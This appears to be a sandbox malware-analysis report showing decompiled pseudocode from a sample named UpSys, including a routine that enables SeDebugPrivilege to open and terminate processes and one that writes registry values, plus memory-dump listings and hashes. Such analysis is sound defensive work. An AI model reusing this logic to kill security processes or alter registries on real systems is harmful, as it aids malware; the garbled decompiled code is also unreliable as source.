                                                                                                                                                                                                        Function 0000000140076800 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 162threadCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 40%
                                                                                                                                                                                                        			E00000001140076800(void* __ecx, void* __esi, void* __ebp, long long __rbx, intOrPtr* __rcx, void* __rdx, signed int* __r8, void* __r10, void* __r11, void* _a8, char _a16, signed int _a32) {
				char _v48;
				intOrPtr _v52;
				void* _v60;
				signed int _v64;
				void* _v72;
				signed long long _v80;
				signed long long _v88;
				void* __rsi;
				void* __rbp;
				long _t68;
				signed int _t76;
				void* _t109;
				intOrPtr _t111;
				signed long long _t113;
				long long _t117;
				signed int* _t147;
				void* _t149;
				signed int* _t150;
				void* _t152;
				intOrPtr* _t153;
				void* _t155;
				signed long long _t157;
				void* _t159;
				char* _t167;

				_t117 = __rbx;
				_t109 = _t159;
				 *((long long*)(_t109 + 8)) = __rbx;
				 *((char*)(_t109 + 0x10)) = 0;
				_t153 = __rcx;
				_t150 = __r8;
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				_t147 =  &_a32;
				if (E00000001140050890(__ecx, __rbx,  *((intOrPtr*)(__rdx + 8)), _t147, __rcx, _t155,  &_a16, __r10, __r11, _t149) != 0) goto 0x4007686d;
				E00000001140007A40(_t117, _t150, _t153, _t152);
				 *_t150 =  *_t150 & 0x00000000;
				_t150[2] = 1;
				_t111 =  *_t153;
				_t7 = _t117 + 3; // 0x4
				r8d = 0;
				E0000000114000FCA0(_t7, _t111, _t117,  *((intOrPtr*)(_t111 + 4)) + _t153, _t153, _t155);
				goto 0x40076a6c;
				if (_a16 == 0) goto 0x40076a59;
				r8d = _a32;
				_t11 = _t147 + 1; // 0x1
				_t76 = _t11;
				OpenProcess(??, ??, ??);
				if (_t111 != 0) goto 0x40076a01;
				if (GetLastError() != 5) goto 0x400769c8;
				GetCurrentThread();
				r8d = 0;
				if (OpenThreadToken(??, ??, ??, ??) != 0) goto 0x400768fe;
				GetCurrentProcess();
				if (OpenProcessToken(??, ??, ??) != 0) goto 0x400768fe;
				r8d = r8d | 0xffffffff;
				E000000011400700A0(_t76, 0x89, __ebp, _t111, _t117, _t153, _t153, _t111, __r10, __r11);
				goto 0x40076a6e;
				_v64 = _t76;
				_v52 = 2;
				LookupPrivilegeValueW(??, ??, ??);
				r9d = 0x10;
				_v80 =  &_a16;
				_t113 =  &_v48;
				_a16 = r9d;
				_v88 = _t113;
				if (AdjustTokenPrivileges(??, ??, ??, ??, ??, ??) == 0) goto 0x40076a6c;
				if (GetLastError() != 0) goto 0x400769af;
				r8d = _a32;
				OpenProcess(??, ??, ??);
				r9d = _a16;
				_v80 = _v80 & 0x00000000;
				_v88 = _v88 & 0x00000000;
				_t167 =  &_v48;
				_t157 = _t113;
				AdjustTokenPrivileges(??, ??, ??, ??, ??, ??);
				CloseHandle(??);
				goto 0x400769fc;
				r8d = 0;
				E0000000114000FC40(0,  *_t153, _t117,  *((intOrPtr*)( *_t153 + 4)) + _t153, _t153, _t157);
				goto 0x400769dc;
				r8d = 0;
				E0000000114000FC40(2,  *_t153, _t117,  *((intOrPtr*)( *_t153 + 4)) + _t153, _t153, _t157);
				r8d = 0;
				E0000000114000FCA0(_t76,  *_t153, _t117,  *((intOrPtr*)( *_t153 + 4)) + _t153, _t153);
				E00000001140007A40(_t117, _t150, _t153);
				 *_t150 =  *_t150 & 0x00000000;
				_t150[2] = _t76;
				if (_t157 == 0) goto 0x40076a6c;
				if (TerminateProcess(??, ??) != 0) goto 0x40076a4e;
				_t68 = GetLastError();
				r8d = 0;
				E0000000114000FC40(_t68,  *_t153, _t117,  *((intOrPtr*)( *_t153 + 4)) + _t153, _t153, _t157);
				r8d = 0;
				_t41 = _t167 + 3; // 0x3
				E0000000114000FCA0(_t41,  *_t153, _t117,  *((intOrPtr*)( *_t153 + 4)) + _t153, _t153);
				E00000001140007A40(_t117, _t150, _t153);
				 *_t150 =  *_t150 & 0x00000000;
				_t150[2] = _t76;
				CloseHandle(??);
				goto 0x40076a6c;
				E00000001140007A40(_t117, _t150, _t153);
				 *_t150 =  *_t150 & 0x00000000;
				_t150[2] = 1;
				return 0;
			}



























                                                                                                                                                                                                        0x140076800
                                                                                                                                                                                                        0x140076800
                                                                                                                                                                                                        0x140076803
                                                                                                                                                                                                        0x14007680e
                                                                                                                                                                                                        0x140076816
                                                                                                                                                                                                        0x14007681c
                                                                                                                                                                                                        0x14007681f
                                                                                                                                                                                                        0x14007682c
                                                                                                                                                                                                        0x14007683e
                                                                                                                                                                                                        0x140076843
                                                                                                                                                                                                        0x140076848
                                                                                                                                                                                                        0x140076850
                                                                                                                                                                                                        0x140076853
                                                                                                                                                                                                        0x140076856
                                                                                                                                                                                                        0x14007685d
                                                                                                                                                                                                        0x140076863
                                                                                                                                                                                                        0x140076868
                                                                                                                                                                                                        0x140076875
                                                                                                                                                                                                        0x14007687b
                                                                                                                                                                                                        0x140076885
                                                                                                                                                                                                        0x140076885
                                                                                                                                                                                                        0x14007688a
                                                                                                                                                                                                        0x140076896
                                                                                                                                                                                                        0x1400768a7
                                                                                                                                                                                                        0x1400768ad
                                                                                                                                                                                                        0x1400768be
                                                                                                                                                                                                        0x1400768c9
                                                                                                                                                                                                        0x1400768cb
                                                                                                                                                                                                        0x1400768e4
                                                                                                                                                                                                        0x1400768e6
                                                                                                                                                                                                        0x1400768f2
                                                                                                                                                                                                        0x1400768f9
                                                                                                                                                                                                        0x14007690c
                                                                                                                                                                                                        0x140076910
                                                                                                                                                                                                        0x140076918
                                                                                                                                                                                                        0x14007692b
                                                                                                                                                                                                        0x140076931
                                                                                                                                                                                                        0x140076936
                                                                                                                                                                                                        0x140076942
                                                                                                                                                                                                        0x14007694a
                                                                                                                                                                                                        0x140076957
                                                                                                                                                                                                        0x140076967
                                                                                                                                                                                                        0x140076969
                                                                                                                                                                                                        0x140076973
                                                                                                                                                                                                        0x140076979
                                                                                                                                                                                                        0x140076986
                                                                                                                                                                                                        0x14007698c
                                                                                                                                                                                                        0x140076992
                                                                                                                                                                                                        0x140076999
                                                                                                                                                                                                        0x14007699c
                                                                                                                                                                                                        0x1400769a7
                                                                                                                                                                                                        0x1400769ad
                                                                                                                                                                                                        0x1400769b2
                                                                                                                                                                                                        0x1400769bc
                                                                                                                                                                                                        0x1400769c6
                                                                                                                                                                                                        0x1400769cb
                                                                                                                                                                                                        0x1400769d5
                                                                                                                                                                                                        0x1400769df
                                                                                                                                                                                                        0x1400769e9
                                                                                                                                                                                                        0x1400769f1
                                                                                                                                                                                                        0x1400769f6
                                                                                                                                                                                                        0x1400769f9
                                                                                                                                                                                                        0x1400769ff
                                                                                                                                                                                                        0x140076a0e
                                                                                                                                                                                                        0x140076a10
                                                                                                                                                                                                        0x140076a16
                                                                                                                                                                                                        0x140076a25
                                                                                                                                                                                                        0x140076a2d
                                                                                                                                                                                                        0x140076a34
                                                                                                                                                                                                        0x140076a3b
                                                                                                                                                                                                        0x140076a43
                                                                                                                                                                                                        0x140076a48
                                                                                                                                                                                                        0x140076a4b
                                                                                                                                                                                                        0x140076a51
                                                                                                                                                                                                        0x140076a57
                                                                                                                                                                                                        0x140076a5c
                                                                                                                                                                                                        0x140076a61
                                                                                                                                                                                                        0x140076a69
                                                                                                                                                                                                        0x140076a7d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: OpenProcess$CurrentThreadToken$ErrorLast
                                                                                                                                                                                                        • String ID: SeDebugPrivilege
                                                                                                                                                                                                        • API String ID: 1606813200-2896544425
                                                                                                                                                                                                        • Opcode ID: 6c71737d7d3972182d27ff1a256dbb88492378015aeecb4ecf6706525b25a7ce
                                                                                                                                                                                                        • Instruction ID: 2c7e6deba4d0c08b8715c20d67126913dcca4f3ac48b8023f8c4d2d806047afe
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6c71737d7d3972182d27ff1a256dbb88492378015aeecb4ecf6706525b25a7ce
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FE718B72314A8186EB61EF26E490BEE63A0FB8DBC4F448015FB4E47B65DF39C4598B01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140069090 Relevance: 25.6, APIs: 17, Instructions: 100COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Cursor$Load$Info
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2577412497-0
                                                                                                                                                                                                        • Opcode ID: b354c4c8b354d3cbade91df3f6c423c5703b9fee6427f845f19ea261f692a405
                                                                                                                                                                                                        • Instruction ID: 1719b4eb524d0961b40b0648b44be26b10743e6a2a973eb4aee2235f17db7df0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b354c4c8b354d3cbade91df3f6c423c5703b9fee6427f845f19ea261f692a405
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7041603360DB4682EB968B25F41976E73E5F78D790F244039A68F83BA8CFBCD4458644
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007E240 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 357registryCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 62%
                                                                                                                                                                                                        			E0000000114007E240(void* __ebx, void* __ecx, void* __edx, void* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, intOrPtr* __r8, void* __r10, long long _a8, signed int _a16, char _a32) {
				long long _v72;
				long long _v80;
				long long _v88;
				char _v96;
				char _v128;
				char _v160;
				long long _v168;
				long long _v176;
				long long _v184;
				char _v192;
				char _v200;
				char _v208;
				char _v216;
				long long _v232;
				long long _v240;
				long long _v248;
				signed int _v256;
				long long _v264;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* _t136;
				void* _t146;
				void* _t155;
				void* _t161;
				long _t169;
				void* _t177;
				signed int _t183;
				void* _t198;
				void* _t200;
				intOrPtr _t211;
				void* _t214;
				void* _t228;
				long long _t242;
				intOrPtr _t245;
				long long _t246;
				intOrPtr _t249;
				long long _t250;
				short* _t251;
				signed int _t257;
				long long _t260;
				intOrPtr _t262;
				signed long long _t264;
				void* _t367;
				long long _t370;
				signed long long _t372;
				intOrPtr* _t373;
				intOrPtr* _t391;
				void* _t392;
				long long _t393;

				_t261 = __rbx;
				_t237 = __rax;
				_t200 = __edx;
				_t198 = __ecx;
				_a8 = __rbx;
				_t391 = __rcx;
				r15d = 0;
				_t373 = __r8;
				_t392 = __rdx;
				_v208 = _t393;
				E0000000114000FD50(__rax, __rbx,  &_v160);
				E0000000114000FD50(_t237, _t261,  &_v192);
				E0000000114000FD50(_t237, _t261,  &_v128);
				_t262 =  *((intOrPtr*)(__rdx + 0x10));
				_t7 = _t393 + 1; // 0x1
				_t211 = _t7;
				if (_t262 == _t372) goto 0x4007e2b3;
				if (_t262 == 4) goto 0x4007e2b3;
				E00000001140007A40(_t262, __r8, _t372);
				_a8 = _t211;
				 *__r8 = r15d;
				goto 0x4007e7e5;
				_t238 =  *((intOrPtr*)(__rdx + 8));
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				E00000001140001D30( *((intOrPtr*)(__rdx + 8)), _t262,  &_v96,  *((intOrPtr*)(__rdx + 8)));
				_v264 =  &_v128;
				E00000001140075290(__ebx, _t198, _t211,  &_v128, _t262, _t238, _t367, _t372, _t373,  &_v160,  &_v192, _t391);
				_v88 = _v184;
				_v80 = _v176;
				_t242 = _v168;
				 *_t242 =  *_t242 + _t211;
				_v96 = _v192;
				_v72 = _t242;
				if (E000000011400750E0(_t200, _t211, _t262 - 4, _t242, _t262,  &_v96, _t372, _t373,  &_v200,  &_a16) != r15b) goto 0x4007e36c;
				_t243 =  *_t391;
				r8d = 0;
				E0000000114000FCA0(2,  *_t391, _t262,  *((intOrPtr*)( *_t391 + 4)) + _t391, _t372);
				goto 0x4007e29f;
				_t136 = E00000001140042380( *_t391,  &_v160);
				r14b = _t136;
				if (_t136 != r15b) goto 0x4007e3c9;
				if (RegConnectRegistryW(??, ??, ??) == r15d) goto 0x4007e3c2;
				r8d = 0;
				E0000000114000FC40(_t137,  *_t391, _t262,  *((intOrPtr*)( *_t391 + 4)) + _t391, _t372, _t373);
				goto 0x4007e35c;
				goto 0x4007e3ce;
				_v232 =  &_a32;
				_v240 =  &_v216;
				_v248 = _t393;
				_v256 = _a16 | 0x00020006;
				r8d = 0;
				_v264 = r15d;
				if (RegCreateKeyExW(??, ??, ??, ??, ??, ??, ??, ??, ??) == r15d) goto 0x4007e45a;
				r8d = 0;
				E0000000114000FC40(_t141, _t243, _t262,  *((intOrPtr*)( *_t391 + 4)) + _t391, _t372, _t373);
				r8d = 0;
				E0000000114000FCA0(_t211, _t243, _t262,  *((intOrPtr*)( *_t391 + 4)) + _t391, _t372);
				E00000001140007A40(_t262, _t373, _t372);
				_a8 = _t211;
				 *_t373 = r15d;
				goto 0x4007e7d5;
				if (_t262 - _t372 <= 0) goto 0x4007e7ca;
				E00000001140062190( *((intOrPtr*)(_t392 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t392 + 8)) + 0x10)));
				_t146 = E00000001140016D8C( *((intOrPtr*)(_t392 + 8)),  *((intOrPtr*)(_t392 + 8)), L"REG_EXPAND_SZ");
				_t245 =  *((intOrPtr*)(_t392 + 8));
				if (_t146 != r15d) goto 0x4007e50f;
				E00000001140016A44(E00000001140062190(_t245,  *((intOrPtr*)(_t245 + 0x18))), _t245);
				_t52 = _t245 + 2; // 0x2
				_t246 =  *((intOrPtr*)(_t392 + 8));
				E00000001140062190(_t246,  *((intOrPtr*)(_t246 + 0x18)));
				E00000001140062190(_t246,  *((intOrPtr*)(_t246 + 8)));
				r9d = 2;
				r8d = 0;
				_v256 = _t245 + _t52;
				_v264 = _t246;
				if (RegSetValueExW(??, ??, ??, ??, ??, ??) == r15d) goto 0x4007e7ca;
				r8d = 0;
				E0000000114000FC40(_t151, _t246,  *((intOrPtr*)(_t246 + 8)),  *((intOrPtr*)( *_t391 + 4)) + _t391, _t372, _t373);
				E00000001140007A40( *((intOrPtr*)(_t246 + 8)), _t373, _t372);
				_a8 = 1;
				goto 0x4007e7c6;
				E00000001140062190(_t246,  *((intOrPtr*)(_t246 + 0x10)));
				_t155 = E00000001140016D8C(_t246, _t246, L"REG_SZ");
				if (_t155 != r15d) goto 0x4007e56c;
				E00000001140016A44(E00000001140062190( *((intOrPtr*)(_t392 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t392 + 8)) + 0x18))),  *((intOrPtr*)(_t392 + 8)));
				_t248 =  *((intOrPtr*)(_t392 + 8));
				_t264 =  *((intOrPtr*)( *((intOrPtr*)(_t392 + 8)) + 8));
				E00000001140062190( *((intOrPtr*)(_t392 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t392 + 8)) + 0x18)));
				E00000001140062190( *((intOrPtr*)(_t392 + 8)), _t264);
				r9d = 1;
				goto 0x4007e4c3;
				E00000001140062190(_t248,  *((intOrPtr*)(_t248 + 0x10)));
				_t161 = E00000001140016D8C(_t248, _t248, L"REG_MULTI_SZ");
				_t249 =  *((intOrPtr*)(_t392 + 8));
				if (_t161 != r15d) goto 0x4007e679;
				_t214 = E00000001140062160(_t249,  *((intOrPtr*)(_t249 + 0x18)));
				_t72 = _t372 + 2; // 0x2
				r15d = _t72;
				_t250 =  <  ? 0xffffffff : _t249;
				E00000001140016ED8(_t250, _t250);
				_t78 = _t372 + 1; // 0x1
				_t370 = _t250;
				E00000001140062190(_t250,  *((intOrPtr*)( *((intOrPtr*)(_t392 + 8)) + 0x18)));
				r8d = _t78;
				E00000001140040620(_t264, _t370);
				 *((short*)(_t370 + _t372 * 2)) = 0;
				 *((short*)(_t370 + _t264 * 2)) = 0;
				if (_t214 <= 0) goto 0x4007e608;
				_t251 = _t370;
				_t228 =  *_t251 - 0xa;
				if (_t228 != 0) goto 0x4007e5fc;
				 *_t251 = 0;
				if (_t228 != 0) goto 0x4007e5f3;
				_t253 =  *((intOrPtr*)(_t392 + 8));
				_t215 =  !=  ? r15d : _t214;
				E00000001140062190( *((intOrPtr*)(_t392 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t392 + 8)) + 8)));
				r9d = 7;
				r8d = 0;
				_v256 = _t372 + _t372;
				_v264 = _t370;
				_t169 = RegSetValueExW(??, ??, ??, ??, ??, ??);
				r15d = 0;
				if (_t169 == r15d) goto 0x4007e66c;
				r8d = 0;
				E0000000114000FC40(_t169,  *((intOrPtr*)(_t392 + 8)), _t264,  *((intOrPtr*)( *_t391 + 4)) + _t391, _t372, _t373);
				E00000001140007A40(_t264, _t373, _t372);
				_a8 = 1;
				 *_t373 = r15d;
				0x40016a60();
				goto 0x4007e7ca;
				E00000001140062190( *((intOrPtr*)(_t392 + 8)),  *((intOrPtr*)(_t253 + 0x10)));
				if (E00000001140016D8C(_t253, _t253, L"REG_DWORD") != r15d) goto 0x4007e6da;
				_a16 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t392 + 8)) + 0x18)));
				E00000001140062190( *((intOrPtr*)(_t392 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t392 + 8)) + 8)));
				_v256 = 4;
				r9d = 4;
				_t256 =  &_a16;
				_v264 =  &_a16;
				goto 0x4007e793;
				E00000001140062190( &_a16, ( &_a16)[4]);
				_t177 = E00000001140016D8C( &_a16, _t256, L"REG_QWORD");
				_t257 =  *((intOrPtr*)(_t392 + 8));
				if (_t177 != r15d) goto 0x4007e739;
				E0000000114004F940(r15d, _t177 - r15d, _t264,  *((intOrPtr*)(_t257 + 0x18)), L"REG_QWORD", _t370, _t372, 0x4009b6c0, __r10, _t372 - 1);
				_a16 = _t257;
				E00000001140062190( *((intOrPtr*)(_t392 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t392 + 8)) + 8)));
				_v256 = 8;
				r9d = 0xb;
				_t259 =  &_a16;
				_v264 =  &_a16;
				goto 0x4007e793;
				E00000001140062190( &_a16, ( &_a16)[4]);
				if (E00000001140016D8C( &_a16, _t259, L"REG_BINARY") != r15d) goto 0x4007e7bb;
				_t260 =  *((intOrPtr*)(_t392 + 8));
				E0000000114007A0B0(_t372 + _t372,  *((intOrPtr*)(_t260 + 0x18)), L"REG_BINARY", _t372,  &_v208, _t372 - 1);
				_t183 = E0000000114004FA00(E00000001140016D8C( &_a16, _t259, L"REG_BINARY") - r15d,  *((intOrPtr*)( *((intOrPtr*)(_t392 + 8)) + 0x18)));
				E00000001140062190(_t260,  *((intOrPtr*)( *((intOrPtr*)(_t392 + 8)) + 8)));
				_v256 = _t183;
				_v264 = _t260;
				r9d = 3;
				r8d = 0;
				if (RegSetValueExW(??, ??, ??, ??, ??, ??) == r15d) goto 0x4007e7ca;
				r8d = 0;
				E0000000114000FC40(_t185, _t260, _t264,  *((intOrPtr*)( *_t391 + 4)) + _t391, _t372, _t373);
				E00000001140007A40(_t264, _t373, _t372);
				_a8 =  !=  ? r15d : _t214;
				 *_t373 = r15d;
				RegCloseKey(??);
				if (r14b != r15b) goto 0x4007e7e5;
				E00000001140002610(E00000001140002610(E00000001140002610(RegCloseKey(??), _t264,  &_v128), _t264,  &_v192), _t264,  &_v160);
				return 0;
			}






















































                                                                                                                                                                                                        0x14007e240
                                                                                                                                                                                                        0x14007e240
                                                                                                                                                                                                        0x14007e240
                                                                                                                                                                                                        0x14007e240
                                                                                                                                                                                                        0x14007e240
                                                                                                                                                                                                        0x14007e257
                                                                                                                                                                                                        0x14007e262
                                                                                                                                                                                                        0x14007e265
                                                                                                                                                                                                        0x14007e268
                                                                                                                                                                                                        0x14007e26b
                                                                                                                                                                                                        0x14007e270
                                                                                                                                                                                                        0x14007e27a
                                                                                                                                                                                                        0x14007e287
                                                                                                                                                                                                        0x14007e28c
                                                                                                                                                                                                        0x14007e290
                                                                                                                                                                                                        0x14007e290
                                                                                                                                                                                                        0x14007e297
                                                                                                                                                                                                        0x14007e29d
                                                                                                                                                                                                        0x14007e2a2
                                                                                                                                                                                                        0x14007e2a7
                                                                                                                                                                                                        0x14007e2aa
                                                                                                                                                                                                        0x14007e2ae
                                                                                                                                                                                                        0x14007e2b3
                                                                                                                                                                                                        0x14007e2ba
                                                                                                                                                                                                        0x14007e2ca
                                                                                                                                                                                                        0x14007e2ea
                                                                                                                                                                                                        0x14007e2ef
                                                                                                                                                                                                        0x14007e2fe
                                                                                                                                                                                                        0x14007e30b
                                                                                                                                                                                                        0x14007e313
                                                                                                                                                                                                        0x14007e323
                                                                                                                                                                                                        0x14007e335
                                                                                                                                                                                                        0x14007e33d
                                                                                                                                                                                                        0x14007e34d
                                                                                                                                                                                                        0x14007e34f
                                                                                                                                                                                                        0x14007e35f
                                                                                                                                                                                                        0x14007e362
                                                                                                                                                                                                        0x14007e367
                                                                                                                                                                                                        0x14007e374
                                                                                                                                                                                                        0x14007e379
                                                                                                                                                                                                        0x14007e37f
                                                                                                                                                                                                        0x14007e39c
                                                                                                                                                                                                        0x14007e3a2
                                                                                                                                                                                                        0x14007e3ae
                                                                                                                                                                                                        0x14007e3c0
                                                                                                                                                                                                        0x14007e3c7
                                                                                                                                                                                                        0x14007e3e4
                                                                                                                                                                                                        0x14007e3f3
                                                                                                                                                                                                        0x14007e400
                                                                                                                                                                                                        0x14007e405
                                                                                                                                                                                                        0x14007e409
                                                                                                                                                                                                        0x14007e40c
                                                                                                                                                                                                        0x14007e41a
                                                                                                                                                                                                        0x14007e420
                                                                                                                                                                                                        0x14007e42c
                                                                                                                                                                                                        0x14007e435
                                                                                                                                                                                                        0x14007e441
                                                                                                                                                                                                        0x14007e449
                                                                                                                                                                                                        0x14007e44e
                                                                                                                                                                                                        0x14007e451
                                                                                                                                                                                                        0x14007e455
                                                                                                                                                                                                        0x14007e45d
                                                                                                                                                                                                        0x14007e46b
                                                                                                                                                                                                        0x14007e47a
                                                                                                                                                                                                        0x14007e482
                                                                                                                                                                                                        0x14007e486
                                                                                                                                                                                                        0x14007e498
                                                                                                                                                                                                        0x14007e49d
                                                                                                                                                                                                        0x14007e4a1
                                                                                                                                                                                                        0x14007e4ad
                                                                                                                                                                                                        0x14007e4b8
                                                                                                                                                                                                        0x14007e4bd
                                                                                                                                                                                                        0x14007e4cb
                                                                                                                                                                                                        0x14007e4ce
                                                                                                                                                                                                        0x14007e4d2
                                                                                                                                                                                                        0x14007e4e0
                                                                                                                                                                                                        0x14007e4ea
                                                                                                                                                                                                        0x14007e4f6
                                                                                                                                                                                                        0x14007e4fe
                                                                                                                                                                                                        0x14007e503
                                                                                                                                                                                                        0x14007e50a
                                                                                                                                                                                                        0x14007e513
                                                                                                                                                                                                        0x14007e522
                                                                                                                                                                                                        0x14007e52e
                                                                                                                                                                                                        0x14007e53c
                                                                                                                                                                                                        0x14007e545
                                                                                                                                                                                                        0x14007e54d
                                                                                                                                                                                                        0x14007e551
                                                                                                                                                                                                        0x14007e55c
                                                                                                                                                                                                        0x14007e561
                                                                                                                                                                                                        0x14007e567
                                                                                                                                                                                                        0x14007e570
                                                                                                                                                                                                        0x14007e57f
                                                                                                                                                                                                        0x14007e587
                                                                                                                                                                                                        0x14007e58b
                                                                                                                                                                                                        0x14007e59a
                                                                                                                                                                                                        0x14007e5a1
                                                                                                                                                                                                        0x14007e5a1
                                                                                                                                                                                                        0x14007e5b2
                                                                                                                                                                                                        0x14007e5b9
                                                                                                                                                                                                        0x14007e5c2
                                                                                                                                                                                                        0x14007e5c9
                                                                                                                                                                                                        0x14007e5cc
                                                                                                                                                                                                        0x14007e5d1
                                                                                                                                                                                                        0x14007e5da
                                                                                                                                                                                                        0x14007e5e4
                                                                                                                                                                                                        0x14007e5e8
                                                                                                                                                                                                        0x14007e5ee
                                                                                                                                                                                                        0x14007e5f0
                                                                                                                                                                                                        0x14007e5f3
                                                                                                                                                                                                        0x14007e5f7
                                                                                                                                                                                                        0x14007e5f9
                                                                                                                                                                                                        0x14007e604
                                                                                                                                                                                                        0x14007e608
                                                                                                                                                                                                        0x14007e60c
                                                                                                                                                                                                        0x14007e617
                                                                                                                                                                                                        0x14007e621
                                                                                                                                                                                                        0x14007e627
                                                                                                                                                                                                        0x14007e62d
                                                                                                                                                                                                        0x14007e631
                                                                                                                                                                                                        0x14007e636
                                                                                                                                                                                                        0x14007e63c
                                                                                                                                                                                                        0x14007e642
                                                                                                                                                                                                        0x14007e648
                                                                                                                                                                                                        0x14007e654
                                                                                                                                                                                                        0x14007e65c
                                                                                                                                                                                                        0x14007e661
                                                                                                                                                                                                        0x14007e668
                                                                                                                                                                                                        0x14007e66f
                                                                                                                                                                                                        0x14007e674
                                                                                                                                                                                                        0x14007e67d
                                                                                                                                                                                                        0x14007e698
                                                                                                                                                                                                        0x14007e6a3
                                                                                                                                                                                                        0x14007e6b2
                                                                                                                                                                                                        0x14007e6b7
                                                                                                                                                                                                        0x14007e6bf
                                                                                                                                                                                                        0x14007e6c8
                                                                                                                                                                                                        0x14007e6d0
                                                                                                                                                                                                        0x14007e6d5
                                                                                                                                                                                                        0x14007e6de
                                                                                                                                                                                                        0x14007e6ed
                                                                                                                                                                                                        0x14007e6f5
                                                                                                                                                                                                        0x14007e6f9
                                                                                                                                                                                                        0x14007e6ff
                                                                                                                                                                                                        0x14007e704
                                                                                                                                                                                                        0x14007e714
                                                                                                                                                                                                        0x14007e719
                                                                                                                                                                                                        0x14007e721
                                                                                                                                                                                                        0x14007e72a
                                                                                                                                                                                                        0x14007e732
                                                                                                                                                                                                        0x14007e737
                                                                                                                                                                                                        0x14007e73d
                                                                                                                                                                                                        0x14007e754
                                                                                                                                                                                                        0x14007e756
                                                                                                                                                                                                        0x14007e75e
                                                                                                                                                                                                        0x14007e772
                                                                                                                                                                                                        0x14007e77c
                                                                                                                                                                                                        0x14007e781
                                                                                                                                                                                                        0x14007e785
                                                                                                                                                                                                        0x14007e78a
                                                                                                                                                                                                        0x14007e798
                                                                                                                                                                                                        0x14007e7a4
                                                                                                                                                                                                        0x14007e7aa
                                                                                                                                                                                                        0x14007e7b6
                                                                                                                                                                                                        0x14007e7be
                                                                                                                                                                                                        0x14007e7c3
                                                                                                                                                                                                        0x14007e7c6
                                                                                                                                                                                                        0x14007e7cf
                                                                                                                                                                                                        0x14007e7d8
                                                                                                                                                                                                        0x14007e804
                                                                                                                                                                                                        0x14007e825

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
